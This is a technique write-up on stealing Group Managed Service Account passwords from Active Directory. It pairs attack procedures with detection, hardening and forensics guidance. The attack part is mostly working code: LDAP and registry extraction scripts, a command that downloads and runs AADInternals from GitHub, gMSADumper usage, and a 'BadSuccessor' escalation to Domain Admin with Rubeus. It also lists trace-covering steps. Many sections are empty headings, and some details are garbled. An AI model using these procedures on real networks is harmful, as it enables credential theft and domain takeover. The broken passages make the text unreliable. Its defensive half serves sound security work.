| Field | Value |
|---|---|
| Technique ID | CA-UNSC-005 |
| Technique Name | gMSA credentials exposure |
| MITRE ATT&CK | T1552.001 |
| CVE | CVE-2025-pending (dMSA BadSuccessor) |
| Environment | Windows Active Directory (Server 2012+) |
| Tactic | Credential Access (TA0006) |
| Data Source | Logon Session: Logon Credentials (DC0002) |
| Technique Status | ACTIVE - Widely deployed in modern AD environments |
| Last Verified | January 2026 |
| Affected Versions | Windows Server 2012, 2012 R2, 2016, 2019, 2022 (all versions with gMSA support) |
| Patched In | Configuration hardening only (no software patch); dMSA BadSuccessor pending patch for Windows Server 2025 |
| Author | SERVTEP – Artur Pchelnikau |
Group Managed Service Accounts (gMSA) were introduced in Windows Server 2012 as a modern replacement for traditional service accounts. Unlike traditional accounts, gMSA passwords are automatically generated and rotated every 30 days by the Key Distribution Service (KDS), eliminating the need for administrators to manage passwords manually. However, this improvement introduces a significant security vulnerability: attackers can extract plaintext gMSA passwords from multiple sources, including Active Directory LDAP queries, local registry, and by deriving keys from KDS root keys.
The gMSA credential extraction technique (CA-UNSC-005) is particularly dangerous because:
This technique bridges the gap between credential dumping (CA-UNSC-003, CA-UNSC-004) and credential access, providing attackers with actively managed credentials that are guaranteed to work.
Risk Level: CRITICAL
Exploitability: High (requires AD access or SYSTEM privilege)
Detection Difficulty: Medium (requires SACLE configuration and monitoring)
Impact: Organization-wide service compromise, persistence, lateral movement
An attacker performs reconnaissance to:
Tools Used: Get-ADServiceAccount, aadinternals.ps1, LDAP enumeration, BloodHound
The attacker obtains:
The attacker:
Using compromised gMSA credentials:
Attacker maintains access via:
Key Distribution Service (KDS) Flow:
Active Directory Database
↓
KDS Root Key (stored in AD)
↓ (+ gMSA ObjectSID + Timestamp)
Password Generation Algorithm
↓
msDS-ManagedPassword Attribute (BLOB)
↓ (Authorized principals query)
Computer/User retrieves password
↓ (Uses gMSA for service authentication)
Service runs under gMSA context
Password Storage Details:
msDS-ManagedPassword (encoded binary BLOB)HKLM:\SECURITY\Policy\Secrets\ (plaintext on running server)msDS-ManagedPasswordInterval)Password BLOB Structure (msDS-ManagedPassword):
MSDS-MANAGEDPASSWORD_BLOB {
Version (4 bytes): 1
Reserved (4 bytes): 0
CurrentPasswordOffset (2 bytes): Offset to current password
PreviousPasswordOffset (2 bytes): Offset to previous password
QueryPasswordIntervalDays (4 bytes): Days until next password change
UnchangedPasswordIntervalDays (4 bytes): Days since last password change
[Current Password (512 bytes)]: UTF-16 encoded plaintext password (256 characters)
[Previous Password (512 bytes)]: UTF-16 encoded previous password (256 characters)
}
Total Size: ~1,028 bytes
Password: 256-character UTF-16 string (128 characters in ASCII representation)
PrincipalsAllowedToRetrieveManagedPassword Attribute:
msDS-GroupMSAMembership attributeDefault Permissions (if not restricted):
- Domain Admins: Can modify PrincipalsAllowedToRetrieveManagedPassword
- Enterprise Admins: Can modify PrincipalsAllowedToRetrieveManagedPassword
- Computer accounts in group: Can read msDS-ManagedPassword
- SYSTEM on authorized computers: Can read msDS-ManagedPassword
Common Misconfigurations:
HKLM:\SECURITY\Policy\Secrets\ registry hiveDescription: Query Active Directory directly to extract gMSA password blob, then decode using DSInternals.
Prerequisites:
Execution:
# Step 1: Install DSInternals module (if not already present)
Install-Module -Name DSInternals -Force -Scope CurrentUser
# Step 2: Import modules
Import-Module ActiveDirectory
Import-Module DSInternals
# Step 3: Enumerate all gMSA accounts
$gmsaAccounts = Get-ADServiceAccount -Filter {ObjectClass -eq 'msDS-GroupManagedServiceAccount'} `
-Properties PrincipalsAllowedToRetrieveManagedPassword, msDS-ManagedPassword
Write-Host "Found $(($gmsaAccounts).Count) gMSA accounts:"
$gmsaAccounts | Select-Object Name, SamAccountName
# Step 4: Target specific gMSA and extract password
$targetGmsa = "SVC_WebService"
$gmsa = Get-ADServiceAccount -Identity $targetGmsa -Properties msDS-ManagedPassword
# Step 5: Decode password blob
if ($gmsa.'msDS-ManagedPassword') {
$passwordBlob = $gmsa.'msDS-ManagedPassword'
$decodedPassword = ConvertFrom-ADManagedPasswordBlob -Blob $passwordBlob
# Display plaintext password (WARNING: Sensitive)
Write-Host "Plaintext Password: $($decodedPassword.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText)"
# Get NT hash
$ntHash = ConvertTo-NTHash -Password $decodedPassword.SecureCurrentPassword
Write-Host "NT Hash: $ntHash"
} else {
Write-Host "ERROR: Cannot read gMSA password (permissions denied)"
}
# Step 6: Verify retrieval privileges
$retrievalGroup = $gmsa.PrincipalsAllowedToRetrieveManagedPassword
Write-Host "Accounts allowed to retrieve password: $retrievalGroup"
Replication Timeline:
Variations for Restricted Environments:
# If PowerShell AD module not available, use LDAP directly:
$dc = "DC01.domain.com"
$ldapPath = "LDAP://$dc/CN=SVC_WebService,CN=Managed Service Accounts,DC=domain,DC=com"
$entry = New-Object System.DirectoryServices.DirectoryEntry($ldapPath)
$passwordBlob = $entry.Properties['msDS-ManagedPassword'][0]
Description: Extract gMSA password from local registry on server running the gMSA service (requires SYSTEM/Admin).
Prerequisites:
Execution:
# Method 1: Using AADInternals (requires SYSTEM context)
# Run PowerShell as SYSTEM using PsExec
# psexec -s powershell.exe
# Step 1: Load AADInternals
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Gerenios/AADInternals/master/AADInternals.ps1')
# Step 2: Extract gMSA passwords from registry
$gmsaPasswords = Get-AADIntGMSAPassword
# Step 3: Display plaintext passwords
$gmsaPasswords | Select-Object AccountName, Password, Hash
# Method 2: Manual registry access (Direct approach)
# Step 1: List all secrets in registry
Get-ChildItem "HKLM:\SECURITY\Policy\Secrets" | Where-Object {$_.Name -match "_SC_"} | Select-Object Name
# Step 2: Access specific gMSA secret
# Example: gMSA account "SVC_WebService$" stored as "_SC_SVC_WebService"
$gmsa = "SVC_WebService"
$secretPath = "HKLM:\SECURITY\Policy\Secrets\_SC_$gmsa"
# Step 3: Extract encrypted secret
$encryptedSecret = (Get-ItemProperty -Path $secretPath -Name CurrentValue -ErrorAction SilentlyContinue).CurrentValue
# Step 4: Decrypt (requires SYSTEM context and DPAPI key access)
# Use Mimikatz or similar tool:
# mimikatz.exe "token::elevate" "lsadump::secrets" "exit"
Write-Host "Registry path: $secretPath"
Write-Host "Encrypted secret retrieved"
Replication Timeline:
Description: Automated discovery and extraction of gMSA passwords using Python with LDAP.
Installation:
git clone https://github.com/micahvandeusen/gMSADumper
cd gMSADumper
pip3 install -r requirements.txt
Execution:
# Step 1: Basic gMSA enumeration
python3 gMSADumper.py -u domain\\username -p password -d domain.local
# Step 2: Target specific domain controller
python3 gMSADumper.py -u domain\\username -p password -d domain.local -l DC01.domain.local
# Step 3: Export results to file
python3 gMSADumper.py -u domain\\username -p password -d domain.local -o gMSA_passwords.txt
# Step 4: Output includes:
# Account: SVC_WebService$
# Password: <plaintext 256-char gMSA password>
# Hash: <NT hash>
Tool Output Example:
[*] Searching for Group Managed Service Accounts...
[+] Found gMSA: SVC_WebService
Distinguished Name: CN=SVC_WebService,CN=Managed Service Accounts,DC=domain,DC=com
SAM Account: SVC_WebService$
Plaintext Password: CmV...XQ== (decoded)
NT Hash: 3a4d5f7e9c1b2d4f6a8e0c2d4f6a8e0c
[+] Found gMSA: SVC_SQLDatabase
Plaintext Password: 5Qb...KL== (decoded)
NT Hash: 7f3e2d1c0b9a8f7e6d5c4b3a2f1e0d9c
Description: Advanced technique: derive KDS root key and generate arbitrary gMSA passwords without querying AD.
Prerequisites:
Execution (Concept):
# Step 1: Read KDS Root Key from AD (public readable)
$kdsRootKeyPath = "CN=Master Root Keys,CN=Group Key Distribution Service Container,CN=Services,CN=Configuration,DC=domain,DC=com"
$kdsRootKey = Get-ADObject -Identity $kdsRootKeyPath -Properties msKDS-KDCPrincipalName, msKDS-SecretAgreementAlgorithm, msKDS-SecretAgreementDescriptor, msKDS-CreateTime, msKDS-EffectiveTime
# Step 2: Extract key material
$rootKeyData = $kdsRootKey.msKDS-SecretAgreementDescriptor
# Step 3: Get gMSA creation timestamp
$gmsa = Get-ADServiceAccount -Identity "SVC_WebService" -Properties msDS-ManagedPasswordId
$passwordId = $gmsa.'msDS-ManagedPasswordId'
# Step 4: Derive password using cryptographic algorithm
# (This step uses HMAC-SHA256 with specific key derivation function)
# HMAC(KDSRootKey, "GMSA" + ObjectSID + Timestamp)
# Step 5: Generate current and previous passwords
# Advanced tools like GoldenGMSA automate this process
# Note: This method is complex and requires deep cryptographic knowledge
# Typically used by advanced threat actors or red team operators
Tools for This Method:
Description: Exploit delegated MSA (dMSA) vulnerability in Windows Server 2025 to escalate privileges via gMSA abuse.
Prerequisites:
msDS-GroupMSAMembership attributeExecution:
# Step 1: Create weaponized dMSA account
New-ADServiceAccount -Name "BadSuccessor" `
-DNSHostName "badsuccessor.domain.com" `
-CreateDelegatedServiceAccount `
-PrincipalsAllowedToRetrieveManagedPassword $env:COMPUTERNAME `
-Path "OU=Service Accounts,DC=domain,DC=com"
# Step 2: Set msDS-ManagedAccountPrecededByLink to target admin account
Set-ADServiceAccount -Identity "BadSuccessor" `
-Replace @{'msDS-ManagedAccountPrecededByLink'='CN=DomainAdminAccount,CN=Users,DC=domain,DC=com'}
# Step 3: Extract dMSA password (like normal gMSA)
$dmsa = Get-ADServiceAccount -Identity "BadSuccessor" -Properties msDS-ManagedPassword
$passwordBlob = $dmsa.'msDS-ManagedPassword'
$password = (ConvertFrom-ADManagedPasswordBlob -Blob $passwordBlob).SecureCurrentPassword
# Step 4: Request TGT as dMSA (using Rubeus)
# The KDC grants TGT with inherited privileges from superseded account (Domain Admin)
Rubeus.exe asktgs /targetuser:BadSuccessor$ /service:krbtgt/domain.com /dmsa /ptt /opsec /nowrap
# Step 5: Result: TGT now contains:
# - Domain Admin SID
# - Domain Admins group membership
# - Historical keys of original admin account
# - Privilege escalation achieved
Write-Host "BadSuccessor attack: Privilege escalation complete"
Impact:
# Test 1a: List all gMSA accounts
$gmsas = Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
Write-Host "Total gMSA accounts found: $(($gmsas).Count)"
# Test 1b: Check overly permissive access
$gmsas | Where-Object {
$principals = $_.PrincipalsAllowedToRetrieveManagedPassword
# Alert if more than 2 principals or if includes non-computer accounts
($principals.Count -gt 2) -or ($principals -match "^(?!.*\$)")
} | Select-Object Name, PrincipalsAllowedToRetrieveManagedPassword
# Test 1c: Verify current user can read password
$testGmsa = "SVC_WebService"
$canRead = $false
try {
$gmsa = Get-ADServiceAccount -Identity $testGmsa -Properties msDS-ManagedPassword -ErrorAction Stop
if ($gmsa.'msDS-ManagedPassword') {
$canRead = $true
}
} catch {
$canRead = $false
}
Write-Host "Can read $testGmsa password: $canRead"
# Test 2a: Extract and decode gMSA password
Import-Module DSInternals
$gmsa = Get-ADServiceAccount -Identity "SVC_WebService" -Properties msDS-ManagedPassword
$blob = $gmsa.'msDS-ManagedPassword'
$password = ConvertFrom-ADManagedPasswordBlob -Blob $blob
Write-Host "Password version: $($password.Version)"
Write-Host "Password length: $($password.SecureCurrentPassword.Length)"
Write-Host "Days until next change: $($password.QueryPasswordIntervalDays)"
# Test 2b: Verify password works for authentication
$gmsa_account = "$($gmsa.SamAccountName)"
$gmsa_password = $password.SecureCurrentPassword | ConvertFrom-SecureString -AsPlainText
# Test logon (requires Domain Admin or system with proper credentials)
try {
$credential = New-Object System.Management.Automation.PSCredential($gmsa_account, (ConvertTo-SecureString -String $gmsa_password -AsPlainText -Force))
# Attempt to use credential (e.g., authenticate to service)
Write-Host "Password validation: SUCCESS (can use for authentication)"
} catch {
Write-Host "Password validation: FAILED"
}
# Test 3a: Check if running as SYSTEM
$currentUser = [System.Security.Principal.WindowsIdentity]::GetCurrent()
if ($currentUser.Name -eq "NT AUTHORITY\SYSTEM") {
Write-Host "Running as SYSTEM: YES"
} else {
Write-Host "Running as SYSTEM: NO (requires elevation)"
exit
}
# Test 3b: Access registry secrets
$secretPath = "HKLM:\SECURITY\Policy\Secrets"
$gmsaSecrets = Get-ChildItem $secretPath | Where-Object {$_.Name -match "_SC_.*\$"} | Select-Object Name
Write-Host "Found $($gmsaSecrets.Count) gMSA secrets in registry"
$gmsaSecrets | ForEach-Object {Write-Host " $_"}
A successful gMSA credential extraction is confirmed when:
✓ Plaintext gMSA password obtained and verified
✓ Password decoded from msDS-ManagedPassword BLOB successfully
✓ NT hash calculated and confirmed valid
✓ Password can be used to authenticate as gMSA account
✓ Access to downstream systems/services achieved using gMSA credentials
✓ Service-level privileges leveraged for lateral movement
✓ Password remains valid for 30-day rotation period
Quantifiable Success Metrics:
1. Timing & Frequency
2. Source Obfuscation
3. Log Minimization
4. Artifact Cleanup
Remove-Item (Get-PSReadlineOption).HistorySavePath5. Advanced Obfuscation
⚠️ High Risk:
⚠️ Medium Risk:
⚠️ Low Risk:
Blast Radius = (Number of Systems Accessing gMSA) × (Privileges Granted) × (Data Accessible)
Example (Web Service gMSA):
- gMSA: SVC_WebService
- Used on: 50 web servers in load-balanced cluster
- Privileges: Database access (100+ databases), File share access
- Data Accessible: Customer data (millions of records), Payment information
- Compromise Impact:
- All 50 web servers compromised
- All connected databases accessible
- Customer data extraction possible
- Lateral movement to database servers
- Result: Enterprise-wide data breach
Event-Level Detection:
Process-Level Detection:
Network-Level Detection:
| Mechanism | Type | Effectiveness | Implementation |
|---|---|---|---|
| SACLE on gMSA Objects | Preventive | High | Medium |
| PrincipalsAllowedToRetrieveManagedPassword Audit | Preventive | High | Low |
| Registry Permissions Hardening | Preventive | High | Medium |
| Event ID 4662 Monitoring | Detective | High | Medium |
| Credential Guard (on Server 2016+) | Preventive | Medium | High |
| Real-time gMSA Access Alerts | Detective | High | High |
Step 1: Audit Current gMSA Configuration
# Identify gMSAs with overly permissive access
$gmsas = Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword
$gmsas | ForEach-Object {
$principals = $_.PrincipalsAllowedToRetrieveManagedPassword
# Flag if more than necessary principals
if ($principals.Count -gt 2) {
Write-Host "WARNING: Overly permissive gMSA: $($_.Name)"
Write-Host " Principals: $principals"
}
# Flag if non-computer accounts included
$principals | ForEach-Object {
if ($_ -notmatch '\$') {
Write-Host "WARNING: User account in retrieval group: $_"
}
}
}
Step 2: Reset Suspicious gMSA Passwords
# Force password reset on potentially compromised gMSAs
Reset-ADServiceAccountPassword -Identity "SVC_WebService" -Force -Confirm:$false
# Restart services using the gMSA to load new password
Restart-Service -Name "MyService" -Force
Step 3: Restrict gMSA Access
# Set PrincipalsAllowedToRetrieveManagedPassword to ONLY authorized computers
$authorizedComputer = "WEBSERVER01$"
Set-ADServiceAccount -Identity "SVC_WebService" `
-PrincipalsAllowedToRetrieveManagedPassword @($authorizedComputer) `
-Clear PrincipalsAllowedToRetrieveManagedPassword
# Wait for replication to all DCs
Start-Sleep -Seconds 30
Sync-ADDatabase
Step 4: Enable SACLE on gMSA Objects
# Enable auditing of msDS-ManagedPassword attribute reads
$gmsaObjects = Get-ADServiceAccount -Filter *
$gmsaObjects | ForEach-Object {
# Get SACLE for gMSA object
$acl = Get-Acl -Path "AD:$($_.DistinguishedName)"
# Add audit rule for msDS-ManagedPassword attribute reads
# GUID of msDS-ManagedPassword: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
$auditRule = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
[System.Security.Principal.SecurityIdentifier]"S-1-1-0", # Everyone
[System.DirectoryServices.ActiveDirectoryRights]"ReadProperty",
[System.Security.AccessControl.AccessControlType]"Audit",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" # msDS-ManagedPassword GUID
)
$acl.AddAuditRule($auditRule)
Set-Acl -AclObject $acl -Path "AD:$($_.DistinguishedName)"
}
Write-Host "SACLE enabled on all gMSA objects"
Step 5: Rotate All gMSA Passwords
# Force password rotation on all gMSAs
Get-ADServiceAccount -Filter * | ForEach-Object {
Reset-ADServiceAccountPassword -Identity $_ -Force
Write-Host "Reset password for: $($_.Name)"
}
# Wait for convergence
Start-Sleep -Seconds 60
# Restart all services using gMSAs
Get-ADServiceAccount -Filter * | ForEach-Object {
# Find services using this gMSA
$serviceName = $_.Name -replace '\$$', ''
# Restart service (example; actual command depends on service)
}
Step 6: Implement Monitoring & Alerting
# Create monitoring script for gMSA attribute access
$script = @'
# Monitor for unauthorized gMSA password reads
$events = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4662
StartTime = (Get-Date).AddHours(-1)
} | Where-Object {
$_.Message -match 'msDS-ManagedPassword'
}
foreach ($event in $events) {
# Alert on any non-authorized principal
if ($event.Message -notmatch "COMPUTERNAME|DOMAIN\\Administrators") {
Write-Host "ALERT: Unauthorized gMSA password read: $($event.Message)"
# Send alert to SIEM
}
}
'@
# Schedule this script to run hourly on domain controller
Register-ScheduledTask -TaskName "Monitor-gMSA-Access" -ScriptBlock $script -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1))
Step 7: Registry Hardening
# Restrict access to HKLM:\SECURITY\Policy\Secrets on all servers
# Only SYSTEM and Domain Admins should have access
$registryPath = "HKLM:\SECURITY\Policy\Secrets"
# This typically requires manual NTFS permissions adjustment
# Can be done via Group Policy: Computer Configuration > Policies > Windows Settings > Security Settings
Step 8: Credential Guard (Windows Server 2016+)
# Enable Credential Guard to isolate sensitive credentials
# Requires Hyper-V capable hardware
# Enable via Group Policy:
# Computer Configuration > Policies > Administrative Templates > System > Device Guard
# Set "Turn On Virtualization Based Security" = Enabled
# Set "Credential Guard" = Enabled
# After remediation, validate:
# Test 1: Verify gMSA permissions are restrictive
$gmsas = Get-ADServiceAccount -Filter *
$foundIssues = $false
foreach ($gmsa in $gmsas) {
$principals = $gmsa.PrincipalsAllowedToRetrieveManagedPassword
# Check if overly permissive
if ($principals.Count -gt 2 -or ($principals -match '^(?!.*\$)')) {
Write-Host "❌ Overly permissive gMSA: $($gmsa.Name)"
$foundIssues = $true
}
}
if (!$foundIssues) {
Write-Host "✓ All gMSA permissions are restrictive"
}
# Test 2: Verify SACLE is enabled
$gmsaAcls = Get-ADServiceAccount -Filter * | ForEach-Object {
$acl = Get-Acl -Path "AD:$($_.DistinguishedName)"
$acl.Audit.Count
}
if ($gmsaAcls -gt 0) {
Write-Host "✓ SACLE enabled on gMSA objects"
} else {
Write-Host "❌ SACLE not enabled"
}
# Test 3: Verify Event ID 4662 logging enabled
$securityLog = Get-WinEvent -LogName Security -MaxEvents 100 | Where-Object {$_.ID -eq 4662}
if ($securityLog) {
Write-Host "✓ Event ID 4662 logging is active"
} else {
Write-Host "⚠️ No recent Event ID 4662 events (may be normal)"
}
Expected Output (If Secure):
✓ All gMSA permissions are restrictive
✓ SACLE enabled on gMSA objects
✓ Event ID 4662 logging is active
What to Look For:
Event Log Evidence:
Event ID 4662 (Directory Service Access):
- Object: gMSA (Distinguished Name visible)
- Property: msDS-ManagedPassword (GUID: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
- AccessType: Read Property
- User: Account that read the password
- Timestamp: Exact moment of retrieval
- Source IP: If available (network logon events)
Event ID 5136 (Directory Service Modification):
- Object: gMSA
- Attribute: PrincipalsAllowedToRetrieveManagedPassword
- Old Value: Previous authorized principals
- New Value: Attacker-added principals
- Timestamp: When permissions were modified
Event ID 4769 (Kerberos Service Ticket):
- Service: krbtgt/DOMAIN
- Account: gMSA account
- Source: Server using gMSA for authentication
- Time: When gMSA credentials were used
Registry Evidence (on server running gMSA):
Location: HKLM:\SECURITY\Policy\Secrets\_SC_<gmsa_name>
Evidence:
- CurrentValue: Encrypted gMSA password blob
- OldValue: Previous password (if available)
- Timestamps: When stored/modified
- Access logs: Who accessed the registry key
Kerberos Evidence:
Event ID 4768 (Kerberos Authentication Ticket Request):
- Account: gMSA account name
- Client Address: Source IP of credential usage
- Result: Successful TGT issued
- Timestamp: When ticket was requested
Event ID 4769 (Kerberos Service Ticket Request):
- Service: Target service accessed
- Account: gMSA account
- Client Address: Source IP
- Timestamp: Service access
# Create forensic collection directory
$evidence = "C:\Forensics\gMSA_Incident_$(Get-Date -Format yyyyMMdd_HHmmss)"
New-Item -ItemType Directory $evidence -Force | Out-Null
# Step 1: Export Security event logs
wevtutil epl Security "$evidence\Security.evtx"
# Step 2: Export Directory Service Access events (4662)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4662} -MaxEvents 10000 |
Export-Csv "$evidence\Event4662_DirectoryServiceAccess.csv" -NoTypeInformation
# Step 3: Export Directory Service Modification events (5136)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5136} -MaxEvents 10000 |
Export-Csv "$evidence\Event5136_Modifications.csv" -NoTypeInformation
# Step 4: Export Kerberos Service Ticket events (4769)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} -MaxEvents 10000 |
Export-Csv "$evidence\Event4769_Kerberos.csv" -NoTypeInformation
# Step 5: Export current gMSA configuration
Get-ADServiceAccount -Filter * -Properties * | Export-Csv "$evidence\gMSA_Configuration.csv" -NoTypeInformation
# Step 6: Export gMSA ACLs
Get-ADServiceAccount -Filter * | ForEach-Object {
Get-Acl -Path "AD:$($_.DistinguishedName)" | Export-Clixml "$evidence\gMSA_ACL_$($_.Name).xml"
}
# Step 7: Hash all collected evidence
Get-ChildItem -Path $evidence -Recurse -File | ForEach-Object {
"$($_.FullName) | $(Get-FileHash $_.FullName -Algorithm SHA256).Hash"
} | Out-File "$evidence\FileHashes.txt"
Write-Host "Forensic collection complete: $evidence"
Event Log Indicators:
- Event ID 4662: Read of msDS-ManagedPassword by non-computer account
- Event ID 4662: Read of msDS-ManagedPassword outside normal business hours
- Event ID 4662: Multiple reads to same gMSA in short timeframe
- Event ID 5136: Modification to PrincipalsAllowedToRetrieveManagedPassword
- Event ID 5136: Addition of user account to gMSA retrieval group
- Event ID 4769: Kerberos ticket request for gMSA from unusual source
Process Indicators:
- powershell.exe executing DSInternals module
- powershell.exe running ConvertFrom-ADManagedPasswordBlob
- python3 running gMSADumper
- ldapsearch querying msDS-ManagedPassword
- Registry access to HKLM:\SECURITY\Policy\Secrets
File Indicators:
- gMSADumper.py present on systems
- GMSAPasswordReader.exe present on systems
- GoldenGMSA tool present on systems
- PowerShell scripts containing gMSA extraction code
# Script to detect suspicious gMSA access patterns
$suspiciousEvents = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4662
StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
# Filter for msDS-ManagedPassword attribute access
$_.Message -match 'msDS-ManagedPassword' -and
# Exclude SYSTEM and computer accounts
$_.Message -notmatch 'SYSTEM|COMPUTERNAME\$|Enterprise Domain Controllers'
}
if ($suspiciousEvents) {
Write-Host "ALERT: Suspicious gMSA access detected"
$suspiciousEvents | Select-Object TimeCreated, Message | Format-Table
return $true # Indicator of compromise
} else {
Write-Host "No suspicious gMSA access detected"
return $false
}
# Immediately restrict compromised gMSA
$compromisedGmsa = "SVC_WebService"
# Step 1: Remove all principals except authorized computers
$authorizedComputers = @("WEBSERVER01$", "WEBSERVER02$")
Set-ADServiceAccount -Identity $compromisedGmsa `
-PrincipalsAllowedToRetrieveManagedPassword $authorizedComputers
# Step 2: Force password reset
Reset-ADServiceAccountPassword -Identity $compromisedGmsa -Force -Confirm:$false
# Step 3: Disable gMSA temporarily if not critical
Disable-ADAccount -Identity $compromisedGmsa
Write-Host "Compromised gMSA isolated: $compromisedGmsa"
# Collect evidence before any cleanup
$evidence = "C:\Forensics\Incident_$(Get-Date -Format yyyyMMdd_HHmmss)"
New-Item -ItemType Directory $evidence -Force | Out-Null
# Export relevant event logs
wevtutil epl Security "$evidence\Security.evtx"
# Export current gMSA state
Get-ADServiceAccount -Filter * -Properties * | Export-Csv "$evidence\gMSA_State.csv"
# Export ACLs
Get-ADServiceAccount -Filter * | ForEach-Object {
Get-Acl -Path "AD:$($_.DistinguishedName)" | Export-Clixml "$evidence\$($_.Name)_ACL.xml"
}
Write-Host "Evidence collected to: $evidence"
# Search for authentication events using compromised gMSA
$gmsa = "SVC_WebService$"
$suspiciousAuth = Get-WinEvent -FilterHashtable @{
LogName = 'Security'
ID = 4624 # Successful logon
StartTime = (Get-Date).AddDays(-7)
} | Where-Object {
$_.Message -match $gmsa
}
$suspiciousAuth | Select-Object TimeCreated, Message | Format-Table
# Alert on each authentication with the compromised credentials
foreach ($auth in $suspiciousAuth) {
Write-Host "ALERT: Compromised gMSA used for authentication: $($auth.TimeCreated)"
}
# Comprehensive remediation steps
# Step 1: Reset password on compromised gMSA
Reset-ADServiceAccountPassword -Identity "SVC_WebService" -Force
# Step 2: Restrict access to only authorized principals
Set-ADServiceAccount -Identity "SVC_WebService" `
-PrincipalsAllowedToRetrieveManagedPassword @("WEBSERVER01$", "WEBSERVER02$")
# Step 3: Restart all services using this gMSA
Get-ADComputer -Filter * | Where-Object {
# Find computers where this gMSA runs
} | ForEach-Object {
Invoke-Command -ComputerName $_.Name -ScriptBlock {
Restart-Service -Name "MyService" -Force
}
}
# Step 4: Monitor for re-compromise
Write-Host "Remediation complete"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [T1199] Trusted Relationship | Compromise of vendor/supplier with gMSA access |
| 2 | Execution | [T1059] Command and Scripting Interpreter | Execute PowerShell to extract gMSA password |
| 3 | Current Step | [CA-UNSC-005] | Extract gMSA credentials from LDAP or registry |
| 4 | Lateral Movement | [T1570] Lateral Tool Transfer | Use gMSA credentials to access downstream services |
| 5 | Privilege Escalation | [T1548] Abuse Elevation Control Mechanism | Leverage gMSA service account privileges |
| 6 | Persistence | [T1098] Account Manipulation | Create backdoor accounts in services accessed via gMSA |
| 7 | Defense Evasion | [T1564] Hide Artifacts | Cover tracks using gMSA account permissions |
| 8 | Collection | [T1005] Data from Local System | Extract data from systems accessible via gMSA |
| 9 | Impact | [T1531] Account Access Removal | Disable legitimate accounts using gMSA permissions |
| Tool | Type | Source | Usage |
|---|---|---|---|
| DSInternals | PowerShell Module | GitHub (MichaelGrafnetter) | Decode gMSA password blob, extract NT hash |
| gMSADumper | Python | GitHub (micahvandeusen) | Automated gMSA discovery and extraction |
| GMSAPasswordReader | C# Utility | GitHub (ricardojba) | Extract gMSA passwords from local system |
| GoldenGMSA | Python | GitHub | Derive passwords using KDS root key |
| AADInternals | PowerShell Module | GitHub (Gerenios) | gMSA extraction from registry (requires SYSTEM) |
| ldeep | Python | GitHub | LDAP query tool for gMSA enumeration |
| bloodyAD | Python | GitHub | AD manipulation including gMSA queries |
| Rubeus | C# Tool | GitHub (GhostPack) | Kerberos ticket generation and abuse |
| Tool | Type | Source | Usage |
|---|---|---|---|
| Microsoft Defender for Identity | EDR | Microsoft | gMSA attack detection |
| Splunk | SIEM | Splunk | Event log analysis for gMSA access |
| PingCastle | AD Auditor | PingCastle | gMSA configuration assessment |
| Semperis | AD Recovery | Semperis | gMSA backup and recovery |
| Netwrix | ITDR | Netwrix | gMSA permission monitoring |
CA-UNSC-005 (gMSA Credentials Exposure) represents a critical attack vector in modern Active Directory environments. Unlike legacy service accounts, gMSA credentials are automatically rotated every 30 days, but this rotation schedule provides sufficient window for attackers to exploit compromised credentials for lateral movement, privilege escalation, and persistence.
Key Vulnerability Factors:
Defensive Priority: CRITICAL
Immediate Actions:
Long-Term Hardening: